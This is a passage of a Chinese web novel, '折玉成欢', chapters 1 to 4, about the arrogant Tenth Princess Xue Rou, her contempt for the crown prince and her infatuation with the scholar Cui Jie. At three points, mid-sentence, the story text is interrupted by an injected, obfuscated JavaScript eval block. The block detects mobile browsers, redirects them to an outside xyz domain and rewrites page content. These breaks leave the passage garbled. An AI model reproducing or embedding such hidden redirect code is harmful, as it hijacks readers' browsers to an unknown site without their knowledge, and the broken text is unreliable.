《折玉成欢》 1. 野种 是日，万里无云。 三喜怀抱一条手腕粗细的铁链，亦步亦趋跟在一人一狗后面。 那狗，不是寻常的狗，是吐蕃进贡的獒犬，性子烈，体格壮，是当今皇上特特向吐蕃使臣要求的，讨来就为博十公主一笑。 同那獒犬并行的，便是十公主，皇后嫡出，众皇子公主中最小的一个，生具倾国之姿，自然千娇万宠。 “贝贝，站住。”说话的人正是十公主薛柔，她口中的“贝贝”则是爱宠的名讳——上百斤重的烈犬，被她赐了个顶顶无害的名字。 帝后曾有言，“贝贝”这名不合适，薛柔偏不听，铁了心定夺下来。 薛柔知道，大家嫌那名俗气，她才不以为意，她本就是个俗气之人，不论是给狗取名，还是给贴身丫鬟取名，她都拣顺口的来。 三喜便是受害者之一。不过三喜对主忠心耿耿，漫说一个名字，让她一辈子不嫁人单守在公主身边伺候，亦无不可。 贝贝乃薛柔亲力亲为养大，最听她的话，让站住绝不多走半步，当即屈了后腿，蹲坐下来，仰着脑袋吐着舌头看主人。 整洁的宫道上，迎面走来两个人，一个身着墨色锦袍，一个作内侍打扮。 “真巧啊，到这也能碰上你。”薛柔扬着下巴，嗓音尖尖的细细的，不大悦耳，乃至有些尖酸刻薄。 说来荒谬，墨袍男子乃当朝太子，名唤薛怀义，对这个妹妹可谓毕恭毕敬，唯命是从。当下举步前来，和颜悦色道：“妹妹这是往何处去？” 薛怀义明年及冠，身量不矮，身形却略显单薄，兼之肤色苍白，容貌秀美，颇有几分阴柔之气。 薛柔足足矮他一头，气势却丝毫不输，昂起来的小脸充斥着轻蔑：“我上哪，用得着告诉你么？倒是你，一大清早不在东宫抄佛经，出来乱转什么？” 薛柔反感太子，说是厌恶也不过分。 他虽为太子，可是个行宫宫女生下来的野种，沾父皇子嗣稀薄的光，十多岁上过到母后膝下抚养，从此摇身一变，有了太子之尊。 薛柔看不起他，从不肯唤他兄长，素来直呼其名。父皇母后疼她，未尝因此怪罪她。 薛怀义倒也乖觉，任凭她如何羞辱，总是和和气气的。譬如眼前，微微笑道：“听闻母后染了风寒，我又闲来无事，特意前去侍奉。” 薛柔讥讽道：“母后凤体不适，自然有我服侍，我竟不知，几时轮到你献殷勤了？我劝你，快快收起那心思，免得弄巧成拙，徒惹母后头疼。” 皇后亦不喜太子，然皇后识大体，明面上不显山不露水。二人的关系，尚过得去。 面对薛柔犀利的讽刺，薛怀义面不改色，“从善如流”道：“既然如此，那我便不打搅母后养病了。” 说罢，点一点头，欲离开。 他愈是礼遇有加，薛柔愈觉刺眼，扭头对贝贝说：“去，把那个穿黑衣服的衣袍咬烂。” 贝贝大力摇动尾巴，双眼亮晶晶的，后腿一蹬，飞冲出去，扯住那飘逸的袍角来回撕咬。 内侍吓得魂飞魄散，口里乱叫唤：“哎呦呦，老天爷！哎呦呦，太子殿下！” 漫说贝贝是条骇人的大獒犬，就算是一只刚生下来的奶狗，这宫里的人都是万万不敢对它动手的。 倘若伸一根手指头，挨打受骂且是轻的，被撵逐出宫那才是天塌了。 内侍惊叫不迭，贝贝撕扯不放，薛柔冷眼旁观。 而薛怀义，纹丝不动，身板挺得像棵树，任由衣袂四分五裂。 贝贝叼着布料，兴冲冲奔去主人跟前，摇尾乞怜。 薛柔决计不肯触碰那片绸缎，不止因为上面湿漉漉的全是贝贝的口水，更出于它是薛怀义的东西，她嫌腌臜。 “乖贝贝，把它吐了。”薛柔一面弯腰俯身，一面朝三喜伸手讨贝贝的零嘴，讨来仍给贝贝当作奖励。 主人之外，贝贝凶狠恶劣。 主人面前，贝贝俨然是个讨人喜欢的好孩子。 拿嘴含了牛肉脯，贝贝匍匐于薛柔脚下，津津有味地啃咬起来。 “不知如此，妹妹可满意？”薛怀义垂手伫立，视线横扫面目全非的衣袍，最终停留在正笑吟吟逗狗的薛柔身上，“如若还不够，那——” “那你当如何？”薛柔冷笑着打断他，眼光轻浮，摆明了挑衅他这个东宫太子，“我不满意，你当如何？” 薛怀义浅浅一笑，撩起衣摆，顺着裂痕一路撕开，赫然小半截袍子分离下来，荡于他掌心之间：“够不够？” 薛柔笑意退却，红唇轻启，吐出两个字：“虚伪。” 是的，在她看来，薛怀义惯会做小伏低迎合别人，尤其是父皇，否则凭他低贱的出身，拿什么和她平起平坐，还捞到太子的宝座。 论起来她就气恼，以前父皇明明对薛怀义很冷淡，近来不知怎的，频频唤他上御书房说话；下朝回来陪她们母女用膳，提及太子的次数亦多了起来。 薛柔不忿，偏偏对外拿薛怀义没辙，毕竟人家是堂堂太子，收拾过了火，外边那帮朝臣又该上书指责她的不是了。碍于此，惟有在内宫寻他不快，以此泄恨。 薛怀义不言不语，静静目送薛柔牵狗行远。 及人杳无踪迹，手心略略一斜，托举着的布料哗啦啦坠地。 内侍欲拾，却叫薛怀义冷声拦住：“捡它做什么，废物罢了。” 那块布死气沉沉摊在地上，“遍体鳞伤”，一如薛怀义十八年来的人生，七零八落，毫无尊严。 内侍入东宫的三四年里，所见所闻尽是薛柔羞辱薛怀义，而薛怀义噤若寒蝉的光景，分外心酸。 内侍悲愤不已：“您贵为太子殿下，何必处处让着十公主？您看她，越发刁难您了……” 薛怀义满面无谓，仿佛一个局外人：“她爱刁难，且随她去好了。今日的佛经尚未抄录，该回去了。” 内侍暗自喟叹，待薛怀义走远些，仍悄悄捡起那块料子，揣于袖筒。 薛柔直奔皇后寝宫去。 许嬷嬷笑意盎然迎她进门，三喜领贝贝在廊下等候——贝贝大得像个人，皇后看着揪心，因而特特避开。 寝殿内烧着火盆，很是暖和，薛柔解了斗篷交与许嬷嬷，凑去床榻前，笑问：“母后感觉病势好些了没？” 皇后年将六十，看起来却不像这个年纪的人，这通通得益于她有一个好心态。心情松弛，身子自然愉悦。 “本就不严重，你们非按我在榻上躺着，纵是不打紧，也要憋出病来了。”皇后背靠引枕坐在床头，看向爱女的目光款款情深，“瞧瞧，小脸通红，又在外头野了吧。” 同薛怀义之间的不快，薛柔不愿告诉母后，一来母后病着，听见了难免多心；二来薛怀义毕竟是太子，是母后名义上的儿子，她怕母后因此夹在中间，左右为难。 种种考虑下来，薛柔避重就轻道：“我能上哪野呀，无非是带贝贝四处溜溜弯罢了，母后可别冤枉了好人。” 皇后拿她的手在掌心，轻轻揉捏着她那白玉似的手背，叹了一声：“你呀！眼看将及笄了，还是动不动就撒娇卖乖，往后有了驸马，可也要对驸马耍这套小伎俩不成。” 薛柔面色骤变，从母后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521185|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处夺走手，鼓着腮帮子气哼哼道：“好端端的，提什么驸马不驸马的！母后，我还小呢，不想招驸马，您就别操心这事了。” 皇后宠着她，纵然言辞没大没小，亦不加怪罪，只笑说：“你今日小，以后呢？小十，我和你父皇一年较一年老了，管不动你了，尽早择一良婿，多一个照顾你的人，难道不好？” “不好，我才不稀罕旁人来照顾我！”薛柔当即驳回去，略一思量，忽然察出些异样的滋味来，忙转变口风：“母后今儿是怎么了，左一个驸马又一个驸马的，您往常可不这样。” 女儿伶俐，皇后早知含糊不过去，便招呼许嬷嬷去取一幅画像，趁这个档口，语重心长道：“今年的状元郎，你可曾有所耳闻？” 顺着母后的话一回忆，薛柔缓缓道：“前儿大姐姐推我荡秋千时，提过一嘴，说是新科状元郎姓崔，便是几大家族中那个有名的崔家。我不感兴趣，当场打断大姐姐。再有的，我便不得而知了。母后问这个作甚？” 许嬷嬷手脚麻利，手捧画轴返回，双手呈于薛柔。薛柔不解其意，皇后娓娓道来：“这位状元郎，家世好，人品端，相貌佳，年龄也合适。柔儿，你且展开画轴，看看合不合眼缘。” 薛柔恍然大悟，偏不去接那画，容长小脸扬得高高的：“敢情母后存着这层意思。管他什么状元探花、崔家王家的，我没相中就是了。” 皇后好脾气，令许嬷嬷展开画像。 薛柔紧挨着许嬷嬷，眼梢余光朦胧扫见，不觉被吸走注注意力，侧目而视。但见谦谦君子，温润如玉；眉宇之间，尽是柔情。恰恰是她欣赏的类型。 薛柔不由得看入神了。 皇后、许嬷嬷会心一笑。许嬷嬷戏语玩笑道：“小殿下这张小嘴倔强，眼神可诚实得很呢，见着俏郎君就挪不开眼了。” 许嬷嬷是皇后的陪嫁，从青涩少女到母仪天下，伴皇后走过风风雨雨四十年，早已是家人了。既为家人，说笑几句也不值得讲究了。 薛柔固然不喜人家拿自己取笑，但明白这个道理，佯装不屑错开视线，冷哼道：“论起俊俏，我只认三哥哥、九哥哥。旁的，入不得我的眼。” 三皇子、九皇子，前者是皇后嫡出，而立之年，心思全然不在家国大事上，整日钻研道法自然，若非生于皇家，早就寻一处山林过上闲云野鹤的日子了；三皇子不是治国理家的料子，便便宜了薛怀义；后者是淑妃所出，才及十六岁，业已有几则军功傍身，在军营里混得真个是风生水起，俨然意气风发少年郎是也。 两位皇子，都把薛柔当明珠宠，薛柔自然亲近他们。 瞧她明明红了脸，却口是心非，皇后不点破，转而问许嬷嬷：“眼瞅这个时辰了，陛下还在上书房同那崔家二郎议事，一直饿着肚子坏身体。你且吩咐咱们宫里小厨房，做些陛下素日爱吃的糕点，完了你给送去，切记要看着陛下吃光了再走。” 许嬷嬷答应着去办。 薛柔不自禁心下一动。 崔家二郎？莫非便是那新科状元郎？ 画像上芝兰玉树的容颜乍然浮现眼前，挥之不散。 皇后明察秋毫，故意搭个台阶让她下：“小十，你有些时日未见你父皇了吧？” 薛柔掩起朦胧心思，顺水推舟，抱着皇后的胳膊撒娇卖乖：“可不是嘛！母后，若不然送糕点的差事就交给我好了……父皇素日最能听进去我的话，由我盯着，父皇肯定吃光光！” 她欲亲眼一睹，崔家二郎真容如何。 恐她察出端倪，皇后假意举棋不定，经她又一遭的央求后，方才点了头。 2. 崔介 上书房内，一袭绯红官袍的崔介，于御书案前静听景帝阔谈凌云壮志：“朕自二十五岁即位起，便胸怀一统天下的志向，至今近四十年，大半地带俱已纳入版图，独独西南蛮夷之地，摩擦不断，成了朕的心头之患。你崔家当年为朕鞠躬尽瘁，为中原安定立下汗马功劳，而今又推举你这么一个能臣入朝，朕心甚慰。小崔爱卿，你且说说，关于蛮夷一带的纷乱，你是如何看的。” 崔介长睫半垂，目光带过书案上展开来的大周舆图，将启齿对答，便闻门开了。 “父皇！” 一个尖尖的、细细的声音传来，崔介抬眼，但见一瞥烟柳色影子由远及近；视线上移，赫然一珠围翠绕的少女容颜。 崔家祖训：非礼勿视，非礼勿听，非礼勿言，非礼勿动。崔介牢记于心，微微侧身，向景帝作揖称退。 “小崔爱卿莫急。”爱女拎了满满一盒子点心来，恰给景帝提了醒——眼下到午膳的点了。毕竟是景帝自己硬留下崔介侃侃而谈，误了人家用膳，而景帝向有宽柔待下的美誉，自当招待了崔介的午饭方不负素日作风。故而，景帝命总管太监龚福传膳，一面对崔介说：“且陪朕吃了饭再回吧。” 天子有令，崔介无有不从。 薛柔见缝插针道：“儿臣也没吃过饭，父皇怎的不留我，敢情是不欢迎儿臣咯？” 景帝摇头失笑，拿手指头轻轻刮了下薛柔的鼻尖：“朕同崔爱卿议事，不是耍的，你不要添乱，快回去陪你母后用膳吧。” 薛柔向崔介站着的方位侧目，可他正视前方，目不斜视，落到她的视角下，唯独剩副神情莫测的侧颜罢了。 专程奔他来的，薛柔自不甘心作罢，揭开食盒对景帝说：“父皇，母后亲口嘱咐，叫儿臣盯着您吃干净才好离开。” 景帝拿她没奈何，又怕她站累了，示意龚福搬把椅子到御书案边。 薛柔不客气，笑嘻嘻坐定，现下这个位置妙，正对着崔介，可将其如画般的眉眼收入眼底。 素白的柔荑不自觉攥住了罗裙。薛柔默默错开眼，悄悄笑弯了唇。 景帝让崔介品用几块点心，崔介以不喜甜食为由推诿过去。 薛柔春心荡漾，他不仅模样生得俊，声音也清朗好听，所谓“陌上人如玉，公子世无双”，大抵也不过如是了吧。 世家大族出身，崔介有着超脱寻常的洞察力，敏锐如他，那厢时不时投来的饱含热切的注视，他一目了然。 十公主薛柔——崔介有所耳闻。刁蛮跋扈、顽劣不化是她的代名词，若非那可望而不可即的身世，想来鲜有人会对她曲意逢迎。 崔介平视前面，视线却恰恰好越过了薛柔。他面无波澜，心如止水。薛柔人品如何，名声如何，皆与他无干。 见崔介恰到好处无视了自己，薛柔心下一阵荒谬，惯有她忽略别人的份，被人视而不见，竟是头一次。 薛柔暗暗咬紧牙关，兀自窝了会气，后绽放笑貌，眼睛向着景帝：“父皇，这位大人却是十分面生，不知在何处高就？” 光知道他姓崔，在家排行老二，这是远远不够的。 皇后有意撮合薛柔和崔介这事，景帝是知情的，并且十分支持。崔介这小郎君相貌堂堂，为人谦和，学问高深，堪为良配。 景帝笑着介绍：“这是小崔大人，现任翰林院侍读一职。” 薛柔勉生欢喜，心想父皇这介绍了和没介绍一样，关键信息还是一概不知。 “小崔大人真不打算尝一块吗？很甜的。”薛柔直望进崔介的眼底，仿佛在那双疏离的黑眸中看见了自己的影子。 崔介淡淡的：“多谢公主好意，微臣沾不得甜食。” 口里称着微臣，态度却是强硬。薛柔眼睛不离开他，执拗道：“若是沾了，又会怎样？” 崔介的睫毛又长又密，半遮下来，令人看不清眸间情绪，但从声线分辨，依旧云淡风轻：“沾了，微臣会起疹子。” 总不能逼着人家往嘴里塞。薛柔闷闷一撇嘴，别开头，面朝一脸乐呵呵的景帝：“父皇，这小崔大人年纪不大，举手投足倒像四五十岁的人——一丝不苟，一本正经。” 景帝咽下最后一块糕点，从龚福手中接了茶水漱过口，在薛柔与崔介二人之间睃两遭，笑眯眯道：“这才是正人君子的做派。” 眼见父皇胳膊肘往外拐，薛柔郁闷不已，捡了盖子扣好食盒，提在手心，起身要走：“那便请父皇随小崔大人慢慢用膳，儿臣不打搅了。” 远远的，崔介作揖相送。 觑着他，薛柔快步出门，三喜迎上来捧了空食盒，凑个热闹：“殿下见着那崔二郎了吗？” 薛柔峨眉轻挑：“见是见着了，就是此人忒心高气傲、不识抬举。” 在外边等候的工夫，三喜向上书房的太监们打听了一番，个个都是一致的说辞：崔家二郎性子清冷，京中多少贵女倾心于他，他向来置若罔闻；介于此，人们把他比作云间月，遥不可及。 “崔二郎君家世不凡，才气过人，矜贵自持些也属人之常情。”薛柔一记眼刀子飞了过来，三喜忙忙找补：“任崔家二郎再尊贵，也尊贵不过您去！他怎敢对您不敬？” 薛柔相当受用，鼻子里哼了一下：“他既自视甚高，那么我非要压他一头不可。”说着一顿，笑颜明媚，“我记得，崔家有个小娘子，比我略长些，去年春日宴上打过照面……你可知她和崔二郎是什么关系？” 三喜想了一阵，回：“那小娘子好像是崔二郎君的妹妹，人温温柔柔的，陪八公主上过一段日子的学，今年过了年就没进宫陪读来了，也不知道是病了还是其他什么缘故。” 说来凑巧，众皇子公主中，薛柔哪个都处得来，唯独八公主——舒婕妤所生，惯会凑到父皇面前扮柔弱装可怜，求父皇多多垂怜舒婕妤，私下里还和太子来往殷勤。这是两手准备：父皇那求怜惜求不成的话，便攀上太子，待有朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521186|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一日太子接了父皇的宝座后，念及兄妹情谊，提携她们母女。 但是和太子沾边的，薛柔俱厌恶，八公主非但主动招惹太子，且把小伎俩耍到了父皇跟前，不烦她烦谁？ “好好一个人，偏生和她搅和不清。”薛柔不掩嫌恶，“本想认识认识这位崔小娘子来着，孰料……算了。” 且走且聊，不觉东宫近在眼前。 “真晦气。”先在崔介处碰了壁，而今又赶上最嫌弃之人住的宫殿，薛柔压着唇角，大为不悦，“每回去上书房，都躲不开这地方。” 讨厌什么来什么，但见斜对面的宫道上走来一双人影，一玄一青，一高一矮，言笑晏晏。 “是十妹妹啊。”八公主薛嘉着一身天青色衣裙，头上斜插一支翡翠簪子，面上略施粉黛，碰着薛柔，眼中划过一丝不耐烦，却仍笑开了打招呼，“十妹妹是才给父皇送过饭吗？” 上书房重地，准许随意进出之人屈指可数，薛柔乃头一号。据此，薛嘉得出结论。 打小千纵万宠，薛柔长了一肚子直心肠，好坏全挂在脸上，对薛嘉和声和气的问候，嘲弄一笑：“八姐姐比我更勤谨，三天两头往东宫跑。今儿又做什么来了，借书？送牛肉羹？” 薛嘉频频往东宫去，有两个老生常谈的理由：借书，送各种羹汤。薛柔说白了，正是光明正大奚落她无事献殷勤。 薛嘉是个聪明人，领悟到位但不显山不露水，笑吟吟接话：“听闻太子哥哥抄录佛经辛苦，笔杆子都断了好几根，前些日子父皇赏了我一支上等狼毫笔，横竖我不大使得上，想着别浪费在我手里，便趁今日天气好，拿给太子哥哥。” 话至此，薛柔方留意到薛怀义手里握着个窄长盒子。薛柔仰头望一望湛蓝的天，樱红的两片唇间泄出声声笑：“是呀，太子殿下劳苦功高，赠一根上好狼毫笔是应当的。” 清脆的一句“太子殿下”，看似敬重，其实蕴含了太多讥讽与轻慢，薛怀义心知肚明，五指不断蜷缩，恨不能让指头同木盒子长在一起。 薛怀义面无表情，可薛柔笃定，他风平浪静的面孔之下藏匿着一张极尽扭曲的嘴脸。他恨她，恨她把他踩在脚底，肆无忌惮践踏他的尊严。他恨得有多狠，她就多欢畅。她便是要他睁开眼仔细瞧瞧，不是什么人都配与她以兄妹相称的。 “东西送到了，八姐姐，走吧？”薛柔倨傲的目光掠过薛怀义，直指薛嘉，“免得下个月皇祖母八十大寿上，因八姐姐屡屡打扰，导致太子殿下交不齐全为皇祖母祈福的八十一卷佛经。” 无人可见处，薛嘉将薛柔骂了个狗血淋头，摆到明面上的，仍然是善解人意的八姐姐：“十妹妹说得是。”转头对薛怀义点一点头，柔声细语道：“太子哥哥保重身体，切莫累垮了。” 薛怀义默默吸了口气，确保嗓音一如既往地平稳：“八妹妹的话，我记在心里。” 二人惺惺作态的样子，薛柔只觉滑稽，自转身走了。 3. 寿宴 自上书房惊鸿一面后，薛柔便惦记上了崔介，派人殷切打探他每日的行程不够，正逢中旬崔家老夫人过七十大寿，脑袋瓜子一转，算盘就打到了这上头。 崔家乃两朝重臣，崔老夫人办寿宴，皇家自是要去捧场的。 当天一大早，薛柔盛装打扮，乘车出宫。 崔府门前车水马龙、人满为患，薛柔嫌摩肩接踵的脏污，事先命人开道，而后提着裙边盈盈下车。 有不知死活的在人堆中嚼舌根：“神气死了，恨不得把整座皇城都霸占了去。” 三喜闻声，眉毛一竖，喝两个侍卫从人群中揪出那个嚼舌之人，提着他的后衣领提溜到薛柔脚下，按住后颈迫其脑门贴地。薛柔拿脚踩在那人的肩头，蔑笑道：“怎么，不服气啊？” 那人就是个市井小民，专爱议论东家长西家短，今儿来前多吃了两杯酒，脑子晕晕乎乎的，连带着口齿不听使唤，这会猛不防被拽出来，怕劲儿盖过了酒劲儿，上下牙齿打着哆嗦求饶：“小的糊涂，烂了嘴巴……求殿下开恩，饶小的一条生路……！” 薛柔居高睥睨，笑意盎然，吐出来的话语却尖锐刺耳：“我也不难为你，你且跪在这，扇自己二十个嘴巴子算完。” 薛柔教训他，不止出于他冒犯自己，更要紧的是刚刚这东西钻在人群里，对一个牵着小姑娘的妇人摸来摸去，甚至盘算把猪蹄子般的手伸到小姑娘身上去。薛柔素日最痛恨这种下三滥货，整治了不少意图逼迫宫女的太监。 相较于她惩罚宫里奴才的手法，的的确确算是仁慈了。那小民含泪谢恩，左右开弓自掌掴。一时间，噼里啪啦作响。 薛柔才不稀得多看，拿开脚步入崔府。 外边动静闹得厉害，惊动了崔家人。崔家二房的余夫人打发一个小丫鬟出去瞅瞅情况；不多时，小丫鬟带回话来：“回夫人，是十公主在门口训人。说是那人嘴上不干净，冲撞了十公主。” 余夫人摆手令丫鬟退下，稍后叹一口气，对身边的丈夫崔寿说：“这十公主真是的，宫里闹一闹也就罢了，今儿老夫人的大好日子，还凭心意拿捏人。传出去像什么话。” 崔介的君子之风是从崔寿这儿承袭来的。 崔寿头上有一个哥哥，底下有一个弟弟妹妹，他夹在中间，起先并不受崔老太爷崔老夫人的重视，一家之主不受待见，整个二房的处境当然可见一斑。多亏养了个有本事的儿子，一举高中，金榜题名，把大房三房那仨不争气的纨绔子弟甩得远远的。如今提起崔家，二房响当当排第一。 十公主是帝后的心头肉，得罪不起；崔家的颜面千斤重，亦不能失了。崔寿只管原地转圈，究竟想不出个折中之法来。 恰是此时，仆从掀门帘，让进崔介来。 见了儿子，如同见了定海神针，余夫人忙迎上前，絮叨起外边的乱象。 崔介临危不乱，拍拍母亲的手背予以安抚：“父亲母亲别担心，儿子已有办法了，儿子这便去料理妥帖。” 崔介信步穿过厅堂，果然在九曲游廊的尽头望见了驻足扶发钗的薛柔。观其打扮得艳丽十足，活像个花孔雀，崔介不觉沉了脸，举步向前。 薛柔忙着整理仪容，没注意对面来了人，还是朝思暮想的崔介，三喜却一眼捕捉，急急禀告薛柔：“殿下，小崔大人迎面走过来了！” 疑心听岔了，薛柔连忙转眼四顾，而崔介正正好停在她面前。薛柔胳膊吊在半空中，不上不下，难得有些窘迫，干着嗓子唤了声“小崔大人”。 一如初见，崔介拱手见礼：“微臣有礼了。” 短暂的茫然无措后，薛柔端起公主架子，略略抬起下颚：“小崔大人免礼吧。” 崔介收礼，站直身子，单刀直入，开门见山：“微臣耳闻有个小民惹恼了殿下，殿下严厉责罚了他。” 薛柔立时接口：“不错，是有这么回事。”她并不认为在崔家门口给那无礼之徒好看有何不妥。 崔介点点头，侧目示意心腹小厮云澜好生善后。 薛柔不让了，出声叫住迈开步子的云澜，然后直盯着崔介：“他有今日实属自作自受，况且我下手很轻了，只叫他打自己几耳刮子。打够数，他自会麻溜走人。何必有善后一说？” 云澜卡在中间，进退两难，崔介拿得住主意，命他去。见拦不住，薛柔神情不虞，质问：“小崔大人这是什么用意？” 崔介道：“殿下金尊玉贵，可不计后果行事，崔家却是不行。微臣此举，实为大局着想，请殿下见谅。” 不计后果？合着在崔介看来，她是做错了不成。薛柔从不藏着掖着，有脾气直接就撒出来了：“所以，你觉得我仗势欺人？” 崔介淡声说：“微臣并无此意。” “你分明就有。”一股子委屈忽然涌上心头，堪堪被薛柔压了回去，她才不准自己当着一个总共见过两回的人而流露软弱的情绪，“……罢了。即便是我仗势欺人，那又有什么关系。” 崔介默不作声，像是默认了她的说法。薛柔胸口堵得慌，现下不大愿意面对崔介此人，昂首快步经过他身前，拐出了长廊。 前厅，景帝、崔老太爷牵头，跟诸位男宾推杯弄盏、把酒言欢，薛柔遥遥瞭过，发现一戳戳影子中独不见薛怀义。他可是太子，这个时候竟缺席？她一面犯嘀咕，一面来到后院，跟随皇后去见崔老夫人。 堂内，崔老夫人身着藏青袄子，笑面看子子孙孙近前说吉祥话祝寿。 大房长孙崔碌排第一个。虽为长孙，崔碌却没有一星半点长孙的沉稳，白净的面皮常常嬉皮笑脸，没个正形：“祝祖母福如东海，寿比南山！” 满屋子人等他后文，而他就此息了声。 崔碌不学无术、油盐不进，崔老夫人甚是不喜，摆手随他自便，眼睛则左顾右盼，赫然在寻崔介的身影。 这时，薛柔随皇后入内，众人俱恭然见礼。 叫众人免礼后，皇后拉着薛柔到崔老夫人跟前，对薛柔说：“叫崔姨姨。” 论起来，皇后和崔老夫人是一辈人，年轻时候常在一块玩闹，数到薛柔头上，称姨姨自不为过。 可薛柔别扭得紧，她若喊崔老夫人为崔姨姨，那和崔介不就差了辈了吗？到底听皇后的话，兀自拧巴片刻，硬着头皮喊出“崔姨姨。” 崔介过来，正巧撞上这一幕。 崔老夫人看到崔介，笑着招手：“来，明夷你过来。” 明夷乃崔介的字，出自《周易·明夷卦》，寓意刚直磊落，中庸守正，是其父费了小半个月，翻遍房中典籍后敲定的。 崔介把握分寸，和薛柔隔着两个人的空间站定，躬身谦卑道：“孙儿来迟了，请祖母责罚。” 薛柔暗自发笑，这人怎的动辄不离规矩二字，真是个老古板！ 崔老夫人一向赏识崔介少年老成这一面，慈笑着点点头：“家中来客济济，一时耽误了也是常情，谈不上罚不罚的。” 皇后同崔老夫人坐在主位，笑眼打量崔介，其出身贵重，举手投足却无丝毫傲慢；待人接物谦逊有加，尽显大家风范。这样的郎君，才堪配公主。越往深里思量，越觉前头这二人登对，落在崔介身上的视线，隐隐透着慈母光辉。 不提崔介有没有感受到，薛柔是实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521187|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在在察觉到了。一贯张扬的她，此时居然有些许害臊，两只手不自觉绞在了一块。 崔老夫人也挺满意薛柔的，模样生得出挑，性子也活泼，与崔介往那一站，十分般配。 关于两家联姻，崔老夫人、皇后提前通过气，眼下相视一笑。崔老夫人说：“十公主第一回来，人生地不熟，明夷，你且引十公主各处转转，我与皇后娘娘说说话。” 薛柔心眼小，纵然对崔介另眼相看，但还没忘记刚刚和崔介的不愉快，笑言回绝：“不用了，我自个儿去后园子逛就成。” 话毕，领着三喜出去。 崔介神色沉静，摆明了表示，薛柔是走是留通通无所谓。 崔府的后园子虽不及御花园阔大，可也是小桥流水，草木成林；亭台水榭，曲径通幽——别有一番风景。 湖畔，花红柳绿围了一圈女眷，笑语连连，好不热闹。 三喜瞅薛柔面色不霁，轻了声儿试探：“殿下，咱们要过去吗？” “来都来了，不去凑个人数岂不白费这一趟。”薛嘉被簇拥在人堆中间，很是受欢迎的光景，薛柔看得真切。 欢声笑语中，乍然蹦出个声音来：“快看快看，十公主朝这儿来了。” 闻讯，众人的目光齐刷刷聚焦在婷婷而来的华服少女上。 大理寺卿姜家的二姑娘同薛嘉要好，脾气又是个直来直去的，觑薛柔花枝招展，仿佛把崔家的寿宴当成了自己出风头的主场，颇为不忿，嘴里冷笑着：“扮得这么隆重，指定是冲崔二公子来的。崔二公子光风霁月，温润尔雅，怎会为一个娇纵蛮横之人动容。真真儿好笑。” 薛嘉挨着姜二姑娘所站，将她义愤填膺之辞一字不漏收入耳，暗暗哂笑。是啊，她薛柔也不反省反省自己在外头的名声有多臭，若非仗着父皇和皇后的颜面，唾沫星子且能给她淹死了。薛嘉会做人，决不放任贤淑宽厚的假面掉落，伸手按住姜二姑娘的手腕，摇摇头：“崔二公子究竟如何看待十妹妹，咱们无从知晓，妄自揣测未免招惹是非。” 薛柔越走越近，终归忌惮其呼风唤雨的手段，姜二姑娘敛了声，心下却不甘屈服，鄙夷之色就此染上了脸颊。 慑于薛柔素日之淫威，大家纷纷向她行礼问安。 薛柔心安理得受了，刚想开口阴阳薛嘉两句，就听得湖对岸响起阵阵口哨声，定睛一瞧，原来那帮男客不知几时将酒桌移去了对面；在座的多是二十来岁的少年人，不乏混入几个只知斗鸡走狗的公子哥儿，眯眼望见湖这边贵女成群，于是乎起了逗弄之意。适才的口哨，正是那起东西吹的。 三喜气得直顿足：“太放肆了！也不睁开眼看看是谁在这！” 话音才落，对岸之人变本加厉，扯着脖子喊：“着粉衫的那位小娘子是哪家的千金呐？认识认识呗？” 穿粉衫的贵女不止一两个，不过据那人射过来的视线推断，所指的乃是姜家二姑娘。 姜二姑娘勃然变色，冲上前回骂：“你算什么东西，竟敢口出狂言？！” 那人满不在意，哄然大笑：“粉衫小娘子不乐意，绯衣小娘子也合我的眼缘啊！” 绯衣？放眼成群女眷，独独一抹朱色耀眼——薛柔今日着绯色华服。 不及薛柔怎么着，远处的湖面忽然炸起丈数来高的水花，紧跟着便是各色嗓音的惊呼——那不知天高地厚的登徒子被人推落水了。 远隔粼粼琥珀，一道玄影映入瞳底。薛柔雾眉微蹙，口吐一串音节：“薛怀义？” 三喜立马接嘴：“奴婢没看错的话，似乎……是太子身边的程胜把人给推下去的。” 4. 心魔 落水的是鸿胪寺少卿家的幺子祁化，京城响当当的膏粱子弟，二十二的年纪，孑然一身。四五年来请官媒婆到处提亲，愣是没一家愿意嫁女的。这种人，漫说做人的唾弃，街头的野狗见了都绕道走。 程胜奉太子之命把人推入湖中，不少人拍手称快，独独祁化的小厮急得满头大汗，忙忙搬人手来捞人。 湖水挺深，没过了人脑袋，而祁化不会水，咕咚咚往肚子里灌了好些湖水。好容易上了岸，只管伏在地上呕吐；呕完仰脸躺倒，跟条死鱼似的望着澄澈蓝天发呆。 